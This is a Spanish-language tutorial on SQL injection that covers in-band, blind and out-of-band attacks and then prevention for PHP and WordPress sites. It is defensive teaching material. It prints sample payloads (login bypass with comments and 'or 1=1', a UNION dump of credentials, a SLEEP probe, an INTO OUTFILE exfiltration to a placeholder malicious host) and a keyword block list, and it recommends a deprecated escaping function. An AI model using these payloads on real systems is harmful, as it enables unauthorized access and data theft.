SQL (Structured Query Language) es un lenguaje que nos permite interactuar con las bases de datos. Las aplicaciones web modernas utilizan bases de datos para gestionar los datos y mostrar el contenido dinámico a los lectores.

La inyección SQL, o SQLi, es un ataque a una aplicación web que compromete su base de datos mediante sentencias SQL maliciosas.

Como se trata de un ataque común, tratemos de aprender más sobre lo que es, cómo sucede y cómo defenderse de él.

¿Listo? ¡Vamos a sumergirnos!

¿Qué es SQL Inyección?

La inyección SQL, o SQLi, es un tipo de ataque a una aplicación web que permite a un atacante insertar sentencias SQL maliciosas en la aplicación web, obteniendo potencialmente acceso a datos sensibles en la base de datos o destruyendo estos datos, la inyección SQL fue descubierta por primera vez por Jeff Forristal en 1998.

En las dos décadas que han transcurrido desde su descubrimiento, la inyección SQL ha sido sistemáticamente la principal prioridad de los desarrolladores web a la hora de diseñar aplicaciones.

Barclaycard estimó en 2012 que el 97% de las violaciones de datos se inician con un ataque de inyección SQL. Una inyección SQL es frecuente incluso hoy en día y la gravedad de los ataques de inyección en una aplicación web es ampliamente reconocida. Es uno de los diez riesgos de seguridad de aplicaciones web más críticos de OWASP.

¿Cómo funciona la vulnerabilidad de inyección SQL?

Una vulnerabilidad de inyección SQL proporciona a un atacante un acceso completo a la base de datos de su aplicación mediante el uso de sentencias SQL maliciosas.

En esta sección, compartimos un ejemplo de cómo se ve una aplicación vulnerable.

Imagine el flujo de trabajo de una típica aplicación web que implica solicitudes de bases de datos a través de las entradas del usuario. La entrada del usuario se realiza a través de un formulario, por ejemplo, un formulario de acceso. A continuación, se consulta la base de datos con los campos enviados por el usuario para autentificarlos. La estructura de la consulta a su base de datos es algo así:

select * from user_table
where username = 'sdaityari'
and password = 'mypassword';

Para simplificar, supongamos que está almacenando sus contraseñas como texto claro. Sin embargo, es una buena práctica cifrar sus contraseñas y luego convertirlas en hash. A continuación, si ha recibido el nombre de usuario y la contraseña del formulario, puede definir la consulta en PHP de la siguiente manera:

// Connect to SQL database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execute query

Si alguien introduce el valor «admin’;-» en el campo de nombre de usuario, la consulta SQL resultante que genera la variable $db_query será la siguiente:

select * from user_table where
username = 'admin';--' and password = 'mypassword'

¿Qué hace esta consulta?

Un comentario en SQL comienza con guiones dobles (–). La consulta resultante filtra sólo por el nombre de usuario sin tener en cuenta la contraseña. Si no hubiera seguridad para evitarlo, simplemente se le concedería acceso administrativo a la aplicación web con sólo usar este truco.

Alternativamente, un ataque booleano también puede ser usado en este ejemplo para obtener acceso. Si un atacante introduce «password’ o 1=1;-» en el campo de la contraseña, la consulta resultante sería la siguiente:

select * from user_table where
username = 'admin' and
password = 'password' or 1=1;--';

En este caso, incluso si su contraseña es incorrecta, usted se autenticará en la aplicación. Si su página web muestra los resultados de la consulta de la base de datos, un atacante puede utilizar el comando show tables, comando para mostrar las tablas en la base de datos, y luego selectivamente dejar caer las tablas si así lo desea.

Un dibujo animado en inyección SQL
Un dibujo animado en inyección SQL (fuente de la imagen: XKCD)

Exploits of a Mom, una popular tira cómica de XKCD, muestra la conversación de una madre con la escuela de su hijo, donde le preguntan si realmente llamó a su hijo «Robert’); DROP TABLE Students; –«.

Tipos de Inyección SQL

Ahora que ya conoce los fundamentos de una vulnerabilidad de inyección SQL, vamos a explorar los distintos tipos de ataques de inyección SQL y la razón de cada uno de ellos.

Inyección SQL en banda

La inyección SQL en banda es la forma más simple de inyección SQL. En este proceso, el atacante es capaz de utilizar el mismo canal para insertar el código SQL malicioso en la aplicación, así como para recoger los resultados. Discutiremos dos formas de ataques de inyección SQL en banda:

Ataque basado en errores

Un atacante utiliza una técnica de inyección SQL basada en errores durante las fases iniciales de su ataque. La idea detrás de una inyección SQL basada en errores es obtener más información sobre la estructura de la base de datos y los nombres de las tablas que sigue la aplicación web. Por ejemplo, un mensaje de error puede contener el nombre de la tabla incluido en la consulta y los nombres de las columnas de la tabla. Estos datos pueden ser utilizados para crear nuevos ataques.

Ataque basado en la Unión

En este método, un atacante que utiliza la unión SQL se une para mostrar los resultados de una tabla diferente. Por ejemplo, si un atacante está en una página de búsqueda, puede añadir los resultados de otra tabla.

select title, link from post_table
where id < 10
union
select username, password
from user_table; --;

Inyección SQL Inferencial (Blind SQL Injection)

Incluso si un atacante genera un error en la consulta SQL, la respuesta de la consulta puede no ser transmitida directamente a la página web. En tal caso, el atacante necesita investigar más.

En esta forma de inyección SQL, el atacante envía varias consultas a la base de datos para evaluar cómo la aplicación analiza estas respuestas. Una inyección SQL inferencial es a veces también conocida como inyección SQL ciega. A continuación veremos dos tipos de inyecciones SQL inferenciales: inyección SQL booleana e inyección SQL basada en tiempo.

Ataque Booleano

Si una consulta SQL da como resultado un error que no ha sido manejado internamente en la aplicación, la página web resultante puede arrojar un error, cargar una página en blanco o cargar parcialmente. En una inyección SQL booleana, un atacante evalúa qué partes de la entrada de un usuario son vulnerables a las inyecciones SQL probando dos versiones diferentes de una cláusula booleana a través de la entrada:

  • «… and 1=1»
  • «… and 1=2»

Si la aplicación funciona normalmente en el primer caso pero muestra una anomalía en el segundo, indica que la aplicación es vulnerable a un ataque de inyección SQL.

Ataque basado en el tiempo

Un ataque de inyección SQL basado en el tiempo también puede ayudar a un atacante a determinar si una vulnerabilidad está presente en una aplicación web. Un atacante utiliza una función predefinida basada en el tiempo del sistema de administración de la base de datos que es utilizada por la aplicación. Por ejemplo, en MySQL, la función sleep() le indica a la base de datos que espere un cierto número de segundos.

select * from comments
WHERE post_id=1-SLEEP(15);

Si tal consulta resulta en un retraso, el atacante sabrá que es vulnerable.

Inyección SQL fuera de banda

Si un atacante no puede obtener los resultados de una inyección SQL a través del mismo canal. Las técnicas de inyección SQL fuera de banda pueden utilizarse como alternativa a las técnicas de inyección SQL inferencial.

Típicamente, estas técnicas implican el envío de datos de la base de datos a una ubicación maligna elegida por el atacante. Este proceso también depende en gran medida de las capacidades del sistema de gestión de la base de datos.

Un ataque de inyección SQL fuera de banda utiliza una capacidad de proceso de archivos externos de su SGBD. En MySQL, las funciones LOAD_FILE() y INTO OUTFILE pueden ser usadas para solicitar a MySQL que transmita los datos a una fuente externa. A continuación se muestra cómo un atacante puede utilizar OUTFILE para enviar los resultados de una consulta a una fuente externa:

select * from post_table
into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'

De manera similar, la función LOAD_FILE() puede utilizarse para leer un archivo del servidor y mostrar su contenido. Se puede utilizar una combinación de LOAD_FILE() y OUTFILE para leer el contenido de un archivo en el servidor y luego transmitirlo a una ubicación diferente.

¿Cómo prevenir las inyecciones de SQL?

Hasta ahora, hemos explorado las vulnerabilidades en una aplicación web que pueden conducir a ataques de inyección SQL. Una vulnerabilidad de inyección SQL puede ser utilizada por un atacante para leer, modificar o incluso eliminar el contenido de su base de datos.

Además, también puede permitirle a uno leer un archivo en cualquier lugar dentro del servidor y transferir el contenido a otro lugar. En esta sección, exploramos varias técnicas para proteger su aplicación web y sitio web contra ataques de inyección SQL.

Entradas Escape del usuario

En términos generales, es una tarea difícil determinar si una cadena de usuario es maliciosa o no. Por lo tanto, la mejor manera de hacerlo es escapar de los caracteres especiales en la entrada del usuario.

Este proceso le ahorra un ataque de inyección SQL. Puede escapar una cadena antes de construir la consulta en PHP usando la función mysql_escape_string(). También puedes escapar una cadena en MySQL usando la función mysqli_real_escape_string().

Mientras se muestra la salida como HTML, también tendrá que convertir la cadena para asegurarse de que los caracteres especiales no interfieren con el marcado HTML. Puede convertir caracteres especiales en PHP usando la función htmlspecialchars().

Usar declaraciones preparadas

Alternativamente, puede usar sentencias preparadas para evitar las inyecciones de SQL. Una sentencia preparada es una plantilla de una consulta SQL, en la que se especifican los parámetros en una etapa posterior para ejecutarla. Aquí hay un ejemplo de una declaración preparada en PHP y MySQLi.

$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));

Otras comprobaciones de higiene para evitar ataques SQL

El siguiente paso para mitigar esta vulnerabilidad es limitar el acceso a la base de datos a sólo lo necesario.

Por ejemplo, conecte su aplicación web al SGBD utilizando un usuario específico, que sólo tiene acceso a la base de datos relevante.

Restringir el acceso del usuario de la base de datos a todas las demás ubicaciones del servidor. También es posible que desee bloquear ciertas palabras clave SQL en su URL a través de su servidor web. Si está usando Apache como servidor web, puede usar las siguientes líneas de código en su archivo .htaccess para mostrar un error 403 Forbidden a un posible atacante.

Debe tener cuidado antes de usar esta técnica ya que Apache mostrará un error a un lector si la URL contiene estas palabras clave.

RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]

Como un consejo adicional de prevención, siempre debe utilizar un software actualizado. Cuando se publica una nueva versión o un parche, los errores que se han corregido en la actualización se detallan en las notas de la versión. Una vez que los detalles de un fallo se hacen públicos, ejecutar una versión antigua de cualquier software puede ser arriesgado.

Inyección SQL en WordPress

Usted está seguro de cualquier vulnerabilidad de inyección SQL si utiliza archivos centrales de WordPress actualizados. Sin embargo, cuando se utilizan temas y plugins de terceros, toda la aplicación corre peligro.

Su sitio de WordPress es tan fuerte como su enlace más débil. En esta sección, exploramos las consideraciones clave para mitigar la vulnerabilidad de la inyección SQL en WordPress y cómo realizar comprobaciones de vulnerabilidad en su sitio de WordPress existente.

Prevención de Vulnerabilidad de Inyección SQL para WordPress

Para mitigar la vulnerabilidad de SQL Injection en su tema o plugin de WordPress, la única regla que debe seguir es utilizar siempre las funciones existentes de WordPress cuando interactúe con la base de datos.

Estas funciones se prueban exhaustivamente en busca de vulnerabilidades de inyección SQL durante el proceso de desarrollo de WordPress. Por ejemplo, si desea añadir un comentario a una entrada, utilice la función wp_insert_comment() en lugar de insertar los datos directamente en la tabla wp_comments.

Aunque las funciones son extensibles, puede que ocasionalmente necesite ejecutar una consulta compleja. En tal caso, asegúrese de utilizar el grupo de funciones $wp_db. Puede utilizar $wpdb->prepare() para escapar de la entrada del usuario antes de crear la consulta.

Además, aquí hay una lista de funciones para sanear los datos en WordPress. Esto le ayuda a escapar de tipos específicos de entradas de usuario como correos electrónicos y URLs.

Asegure su sitio de WordPress

Si bien WordPress es seguro, problemas como el software de núcleo anticuado y los plugins anulados pueden provocar vulnerabilidades. Aunque no hay alternativa a que usted revise su sitio de WordPress para ver si hay una vulnerabilidad de inyección SQL a fondo, la complejidad de un sitio web puede hacer que esta tarea sea un desafío.

Puede utilizar una herramienta de exploración en línea como ThreatPass y WPScan Vulnerability Database. Puede auditar sus plugins para ver si su desarrollo se ha estancado. Si fueron abandonados hace tiempo, puede que no sea una buena idea usarlos en su sitio.

Si aún así necesita utilizarlos, asegúrese de probar exhaustivamente su código y funcionalidad para detectar vulnerabilidades. Aparte de esto, asegúrese de seguir estos controles de higiene:

  • Actualizar PHP, el núcleo de WordPress y MySQL
  • Actualizar los plugins y temas de terceros
  • Evite utilizar el usuario root para conectar la base de datos SQL
  • Limitar los accesos del usuario SQL a los directorios sensibles
  • Bloquee las palabras clave de SQL usando su servidor
  • Mantenga las copias de seguridad de su sitio fuera del sitio en caso de daños irreversibles

Aquí hay un post detallado sobre la seguridad de WordPress y una lista exhaustiva de comprobaciones. Además, es posible que desee invertir en estos plugins de alta seguridad para WordPress. Esto es lo que debe hacer si su sitio de WordPress es hackeado a pesar de sus mejores esfuerzos.

¿Es ilegal la inyección SQL?

¡Definitivamente, sí! Aunque existe una vulnerabilidad real, un atacante sigue tratando de obtener acceso a datos que de otra manera no estarían disponibles para él.

Imagine un escenario en el que alguien deja las llaves en el coche. ¿Constituye una ofensa el hecho de que se haya dejado abierto y desatendido? El acto de SQLi se rige por diferentes leyes en varios países. Se rige por la Ley de Fraude y Abuso Informático (1986) en los Estados Unidos, y la Ley de Uso Indebido de Ordenadores (1990) en el Reino Unido.

El 97% de las violaciones de datos se inician con inyecciones SQL. Si está ejecutando un sitio, debe saber qué son las inyecciones SQL y cómo evitar que se produzcan. Por suerte, hay un guía. 👺🦺Clic para Tuitear

Resumen

Las vulnerabilidades de inyección SQL fueron descubiertas hace mucho tiempo. Sin embargo, un informe de 2018 sobre sitios web pirateados sugiere que SQLi es el sitio web pirata más común para WordPress después de los ataques de XSS. Para evitar que ocurran, debería:

  • Entender cómo funciona la vulnerabilidad de SQL Injection
  • Explorar varias formas en las que los atacantes pueden usar SQLi para obtener acceso no autorizado a su aplicación web
  • Implementar métodos para salvaguardar su sitio web de los ataques de SQLi, como escapar de las entradas de los usuarios y utilizar sentencias preparadas
  • Siga una rutina de control de seguridad

Como dice el viejo refrán, «más vale prevenir que curar».

Shaumik Daityari

Shaumik is a data analyst by day, and a comic book enthusiast by night (or maybe, he's Batman?) Shaumik has been writing tutorials and creating screencasts for over five years. When not working, he's busy automating mundane daily tasks through meticulously written scripts!